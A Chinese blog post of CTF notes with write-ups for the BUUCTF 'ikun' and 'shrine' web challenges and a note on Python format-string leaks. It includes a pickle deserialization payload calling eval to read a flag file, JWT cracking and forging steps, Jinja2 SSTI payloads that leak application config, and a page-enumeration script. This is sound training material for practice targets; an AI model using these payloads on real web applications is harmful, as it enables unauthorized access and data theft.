小迪视频CTF笔记

小迪视频CTF笔记,第1张

小迪视频CTF笔记

文章目录
  • [CISCN2019 华北赛区 Day1 Web2]ikun
  • [WesternCTF2018]shrine
  • python格式化字符串漏洞
  • CTF知识点总结摘录链接

[CISCN2019 华北赛区 Day1 Web2]ikun

https://buuoj.cn/challenges

打开后通过提示->寻找LV6->购买修改支付逻辑
->绕过admin限制需修改jwt值->爆破jwt密匙
->重组jwt值成为admin->购买进入会员中心
->源码找到文件压缩源码->Python代码审计反序列化
->构造读取flag代码进行序列化打印->提交获取

根据页面提示找lv6的页面

import requests

# url1 = "http://4962ecd0-10a5-44a7-a5fa-2beee956e21d.node4.buuoj.cn:81/shop"
# url2 = "http://4962ecd0-10a5-44a7-a5fa-2beee956e21d.node4.buuoj.cn:81/static/img/lv/lv3.png"
# url3 = "http://4962ecd0-10a5-44a7-a5fa-2beee956e21d.node4.buuoj.cn:81/shop?page=2"

for page in range(1, 1000):
    url = "http://4962ecd0-10a5-44a7-a5fa-2beee956e21d.node4.buuoj.cn:81/shop?page=" + str(page)
    # print(url)
    res = requests.get(url).content.decode("utf-8")
    if "lv6.png" in res:
        print(url + 'yes')
    else:
        print(url + '|no')

发现自己的钱买不了那个东西。

修改页面源码的discount为很小的值点击结算,发现提示只有admin才能访问,判断是垂直越权。

垂直越权可以用cookie伪造,查看cookie发现有jwt。
JSON web Token (JSON web令牌)是一种跨域验证身份的方案。JWT不加密传输的数据,但能够通过数字签名来验证数掘未被篡改.
接下来https://github.com/brendan-rius/c-jwt-cracker爆破密匙,和https://jwt.io/解密jwt,然后构造admin的jwt。

新的页面查看源码获得提示,拿到压缩包,是python代码。

猜测是python反序列化,搜索pickle关键字,找到。
tornado框架,get_argument是tornado获取参数的方法,不区分get和post。

import requests
import pickle
import urllib

class payload(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

[WesternCTF2018]shrine

ssti

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

过滤(),config,self

/shrine/{{url_for.__globals__}}
/shrine/{{url_for.__globals__['current_app']}}
/shrine/{{url_for.__globals__['current_app'].config}}

补充

__class__
返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为

__bases__
以元组的形式返回一个类所直接继承的类。

__mro__
返回解析方法调用的顺序。

__subclasses__()
获取类的所有子类。

__init__
所有自带类都包含init方法。

__globals__
function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

python格式化字符串漏洞

第一种

config = {'flag':'woaichixigua'}
class User(object):
    def __init__(self, name):
        self.name = name
user = User("jgc")
print('hello:{name}'.format(name='tom'))
print('hello:{name}'.format(name=user.__class__.__init__.__globals__))
print('hello:{name}'.format(name=user.__class__.__init__.__globals__['config']))

第二种

CTF知识点总结摘录链接

https://www.cnblogs.com/iloveacm/category/1791836.html

源码泄露
https://www.cnblogs.com/xishaonian/p/7628153.html

欢迎分享,转载请注明来源:内存溢出

原文地址: https://www.outofmemory.cn/zaji/5659432.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-16
下一篇 2022-12-16

发表评论

登录后才能评论

评论列表(0条)

保存